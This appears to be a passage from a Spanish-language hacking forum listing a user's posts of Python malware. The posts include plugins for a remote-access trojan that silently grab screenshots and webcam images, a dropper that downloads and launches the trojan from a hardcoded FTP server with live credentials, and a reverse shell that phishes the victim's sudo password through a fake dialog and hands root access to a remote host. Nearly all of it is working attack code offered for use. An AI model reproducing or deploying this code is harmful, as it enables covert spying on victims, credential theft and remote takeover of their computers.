            dns = dns.replace("http://", "")
            dns = dns.replace("www.", "")
        except:
            try:
                dns = dns.replace("www.", "")
            except:
                pass
   
    # wordlist
    if not "-w" in argv:
        print about
        print usage
        exit()
    else:
        index = argv.index("-w")
        wordlist = argv[index+1]

    # delay
    if not "-d" in argv:
        delay = 0
    else:
        index = argv.index("-d")
        delay = argv[index+1]
       
    # verbose
    if not "-v" in argv:
        verbose = False
    else:
        verbose = True

    return (dns, wordlist, delay, verbose)
       
def argvTester(dns, wordlist, delay, verbose):
    print "Checking information. Please wait..."

    # Cheking DNS
    print "\n[*] Testing DNS: " + dns
    try:
        result = urlopen("http://www."+dns)
        if result.code == 200:
            print "[+] OK"
        else:
            print "[+] OK [%s]" % result.code
    except HTTPError as e:
        print "[+] OK [%s]" % e.getcode()
    except Exception as e:
        print "[-] FAIL:", e
        exit()

    # Checking Wordlist
    print "\n[*] Testing Wordlist: " + wordlist
    try:
        f = open(wordlist, "r")
        f.close()
        print "[+] OK"
    except Exception as e:
        print "[-] No such file or directory: " + wordlist
        exit()

    # Checking Delay
    print "\n[*] Testing Delay"
    try:
        delay = int(delay)
        print "[+] Delay: " + str(delay) + " millisecs"
        delay = float(delay)/1000
    except:
        print "[-] FAIL: An integer is required"
        exit()

    # Checking verbose
    if verbose == True:
        print "\n[+] Verbose Mode"

    return dns, delay

def main():
    dns, wordlist, delay, verbose = parser()
    print logo
    print about
    dns, delay = argvTester(dns, wordlist, delay, verbose)

    dnsmap = DNSMap(dns, wordlist, delay, verbose)

if __name__ == "__main__":
    main()

Espero que les guste!
Saludos!
WhiZ

18
Python / Screenshot y WebcamCapture (proyecto PyRAT)
« on: November 06, 2013, 03:16:19 pm »
Bueno Gente! De a poco sigo con todo esto. En esta ocasión les dejo 2 plugins que tengo preparados para añadir a mi simple pero querido PyRAT.

screenshot.py
Code: (python) You are not allowed to view links. Register or Login
#!/usr/bin/env python
#-*- encoding:utf-8 -*-
# screenshot.py

from PyQt4.QtGui import QApplication, QPixmap
from os import environ, mkdir, listdir
from sys import argv
from time import strftime, gmtime

class Screenshot(object):
def __init__(self): 
self.usuario = environ['USER']
if not 'screenshot' in listdir('./'):
mkdir('screenshot')

def capturarPantalla(self):
time = strftime("%d %b %Y_%H:%M:%S", gmtime())
imagen = './screenshot/' + self.usuario + '_' + time + '.png'

app = QApplication(argv)
winId = QApplication.desktop().winId()
width = QApplication.desktop().screenGeometry().width()
height = QApplication.desktop().screenGeometry().height()

captura = QPixmap.grabWindow(winId, 0, 0, width, height)

captura.save(imagen)

def main():
ss = Screenshot()
ss.capturarPantalla()

if __name__ == '__main__':
main()

webcamCapture.py
Code: (python) You are not allowed to view links. Register or Login
#!/usr/bin/env python
#-*- encoding:utf-8 -*-
# webcamCapture.py

from pygame.image import save
import pygame.camera as camera
from os import environ, mkdir, listdir
from time import strftime, gmtime

class WebcamCapture(object):
def __init__(self):

camera.init()
misWebcams = camera.list_cameras()

if len(misWebcams) == 0:
raise Exception('No hay webcam disponible.')
exit()

elif len(misWebcams) == 1:
self.miWebcam = misWebcams[0]

else:
for i in range(len(misWebcams)):
try:
self.miWebcam = misWebcams[i]
break
except:
continue

def capturar(self):
try:
webcam = camera.Camera(self.miWebcam,(640,480))
webcam.start()

self.captura = webcam.get_image()

webcam.stop()
except Exception as e:
print e

def guardarCaptura(self):
self.usuario = environ['USER']

if not 'webcam' in listdir('./'):
mkdir('webcam')

tiempo = strftime("%d %b %Y_%H:%M:%S", gmtime())
imagen = './webcam/' + self.usuario + '_' + tiempo + '.png'

save(self.captura, imagen)

def main():
wcCapture = WebcamCapture()
wcCapture.capturar()
wcCapture.guardarCaptura()

if __name__ == '__main__':
main()

Espero que les sirva y que en un futuro no muy lejano lo puedan disfrutar de manera integrada a PyRAT.

NOTA: Por ahora guarda las capturas en carpetas locales. Es decir, en vez de enviarnos las capturas, crea una carpeta y las guarda ahí. Por supuesto que cuando tenga el RAT listo esto no va a suceder, sino que las capturas serán enviadas a la máquina atacante (ya veré si lo hago por ftp, por el mismo socket o ambos).

Saludos!
WhiZ

19
Python / PiWI (PyRAT complemento)
« on: October 15, 2013, 12:04:03 am »
Hola Gente! como les va??? Aprovecho en este ratito libre q tengo antes de acostarme para postear lo que no pude a la mañana jeje.

Hace algún tiempo atrás estuve experimentando un poco con el tema de PyRAT un troyano muy básico codeado en python. Lamentablemente, estuvo bastante tiempo estancado (espero poder retomarlo algún dìa) pero mientras tanto aproveché hoy a la mañana para escribir PyWI, un complemento de dicho RAT.

Básicamente, PyWi se encarga de habilitar el funcionamiento del RAT en windows mediante la instalación de python2.7 (sigilosamente) para luego activar el troyano.

No es mucho lo que hace en realidad pero pretendo ir mejorándolo tmb.

Sé que python podría parecer algo inadecuado para el tema de los RATs, principalmente por el hecho de que windows no trae python por defecto e instalarlo (tal y como lo hace PyWI) es bastante sospechoso. Sin embargo, se pueden cambiar algunas opciones durante la configuración como para que no sea tan delator.

Por otro lado, creo que hay mucho terreno explorado en otros lenguajes y resulta python un lenguaje con mucho camino por andar, por lo que en vez de hacer lo que ya hicieron miles de programadores, prefiero intentar hacer algo con mi querido python jeje.

Bueno, primero les comento como organicé todo y luego les dejo el código.

PyWI consiste en las siguientes clases:
    - Main --> clase principal; instancia a las clases siguientes y ejecuta el RAT
    - FTPDownloader --> descarga el archivo de instalación de python2.7 y el RAT
    - PyInstaller --> instala python2.7
    - ExceptionHandler --> captura los eventuales errores y los envía vía mail/FTP (esto último inconcluso)

main.py
Code: (python) You are not allowed to view links. Register or Login
#!/usr/bin/env python
# -*- encoding: utf-8 -*-

from ftpDownloader import FTPDownloader
from pyInstaller import PyInstaller
from exceptionHandler import ExceptionHandler
from os import popen
from time import sleep

class Main(object):
def __init__(self, host, dir, user=None, passwd=None):
self.host = host
self.user = user
self.passwd = passwd
self.dir = dir

def ftpDownload(self, files):
ftpd = FTPDownloader(self.host, self.dir, self.user, self.passwd)

ftpd.login()

for file in files:
ftpd.file = file
ftpd.downloadFile()

ftpd.close()

def pythonInstall(self):
pyInstaller = PyInstaller()
pyInstaller.install()

def initRAT(self):
popen('python rat.py')

def main():
host = '31.170.160.100'
user = 'a3824860'
passwd = 'l0g1nn0w'
dir = 'public_html'
files = ['pyInstaller.msi', 'rat.py']

try:
main = Main(host, dir, user, passwd)
main.ftpDownload(files)
main.pythonInstall()
main.initRAT()
except Exception as e:
exception = ExceptionHandler(e)
print('[*] retrying in 1000s')
sleep(1000)
main()

if __name__ == '__main__':
main()

ftpDownloader.py
Code: (python) You are not allowed to view links. Register or Login
#!/usr/bin/env python
# -*- encoding: utf-8 -*-

from ftplib import FTP
import sys

class FTPDownloader(object):
    def __init__(self, host, dir, user=None, passwd=None, file=None):
        self.user = user
        self.passwd = passwd
        self.dir = dir
        self.file = file

        self.ftp = FTP(host)

    def login(self):
        print('[+] logging')
        self.ftp.login(self.user, self.passwd)
        self.ftp.cwd(self.dir)

    def downloadFile(self):
        print('[+] downloading '+self.file)
        self.ftp.voidcmd('TYPE I')

        datasock, estsize = self.ftp.ntransfercmd('RETR ' + self.file)
        transbytes = 0
        fd = open(self.file, 'wb')
        while 1:
            buf = datasock.recv(2048)
            if not len(buf):
                break
            fd.write(buf)
            transbytes += len(buf)
            sys.stdout.write('Received %d ' % transbytes)

            if estsize:
                sys.stdout.write('o0f %d bytes (%.1f%%)\r' % \
                        (estsize, 100.0 * float(transbytes) / float(estsize)))
            else:
                sys.stdout.write('bytes\r')
            sys.stdout.flush()
        sys.stdout.write('\n')
        fd.close()
        datasock.close()
        self.ftp.voidresp()

    def close(self):
        print('[+] closing connection')
        self.ftp.quit()

pyInstaller.py
Code: (python) You are not allowed to view links. Register or Login
#!/usr/bin/env python
# -*- encoding: utf-8 -*-

from time import sleep
from os import popen

class PyInstaller(object):
"""
Instala Python v2.7 de manera silenciosa.
"""
def __init__(self):
installer  = 'pyInstaller.msi'
self.cmd = 'msiexec /i ' + installer
# debo mejorar la configuración de la instalación
# para cambiar PATH y algunas cosas más.

def install(self):
print('[+] installing python')
popen(self.cmd)

exceptionHandler.py
Code: (python) You are not allowed to view links. Register or Login
#!/usr/bin/env python
# -*- encoding: utf-8 -*-

class ExceptionHandler(object):
def __init__(self, e):
error = '[-] ERROR:', e
print(e)

# falta agregar el resto del código para:
#
# - conseguir información del host (ip o
# nombre del host, y demás)
#
# - enviar la información vía mail o FTP
##########################################

La idea es crear un único exe a partir de estos archivos y enviarlo.

Si alguno quiere probar su funcionamiento puede hacerlo con el código tal como está (dejé listo un servidor FTP con 2 archivos: el instalador y un pseudo RAT).

Bueno, eso es todo. Cualquier cosa no duden en comentar.

Saludos!
WhiZ

20
Python / ReverseRootShell con Python
« on: June 22, 2013, 07:28:23 pm »
Hola Gente! Cómo les va?

Esta vez vengo con un pequeño programita que escribí cuya función es conseguir una reverse shell con privilegios de root.

Para ello utilicé 2 herramientas: zenity y pexpect.

Con zenity creo un form que solicita la password al usuario remoto (una especie de ingeniería social) y con pexpect ejecuto una shell con privilegios de root ('sudo /bin/bash') e ingreso la contraseña introducida anteriormente por la víctima.

Bueno, por supuesto que uso sockets para establecer la conexión entre las 2 PCs.

Aquí el código:

Code: (python) You are not allowed to view links. Register or Login
#!/usr/bin/python
# -*- coding: utf-8 -*-
# Autor: WhiZ

from pexpect import spawn, run
import socket

class ReverseRootShell(object):

def __init__(self):

# Obtenemos la contraseña del root
self.passwd = self.obtienePasswd()

# Nos conectamos al cliente
self.servidor = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.servidor.connect(('192.168.0.131', 2236))

# Obtenemos la shell como root
self.obtieneRootShell()

# Escuchamos al cliente
self.escuchaCliente()

self.servidor.close()

def obtienePasswd(self):

zenity = '''zenity --password --title="Autenticación"'''

passwd = run(zenity).replace('\n', '')
return passwd

def obtieneRootShell(self):

# Ejecutamos la shell como root
self.child = spawn('sudo /bin/bash')

# Enviamos la contraseña ingresada anteriormente
# por el usuario
self.child.sendline(self.passwd)

# Enviamos el output al host remoto
salida = self.child.next() + self.passwd + '\n'
self.servidor.send(salida)

def escuchaCliente(self):

while True:
recibido = self.servidor.recv(1024)

if recibido == 'Desconectar':
break

else:
self.ejecutaComando(recibido)

def ejecutaComando(self, comando):

# Ejecutamos el comando (siempre como root)
self.child.sendline(comando)

# Enviamos el output al host remoto

while True:

try:
salida =  self.child.read_nonblocking(timeout=5)
self.servidor.send(salida)

# NOTA: Como es un poco complicado manejar el output
# con pexpect, lo que hice fue frenar el bucle tras
# 5 segundos de inactividad.
# Esto significa que si utilizamos comandos 'lentos'
# por ej., escaneamos la red con nmap, deberemos
# presionar la tecla 'enter' cada tanto para ir
# cargando los datos que vayan apareciendo

except:
break

rrs = ReverseRootShell()

De más está decir que hay mucho que mejorar, pero no me aguantaba asiq lo compartí jeje.

De todas maneras, mi idea es crear una herramienta de ingeniería social para linux, por lo que hay muchas alternativas a la hora de mejorar el código (depende del tipo de engaño que se nos ocurra). Por otro lado, quedan muchas cosas para agregar que son independientes del engaño que implementemos (por ejemplo, la persistencia).

A medida que lo vaya mejorando voy a ir actualizando el post.

Eso es todo.

Saludos!
WhiZ

Pages: [1] 2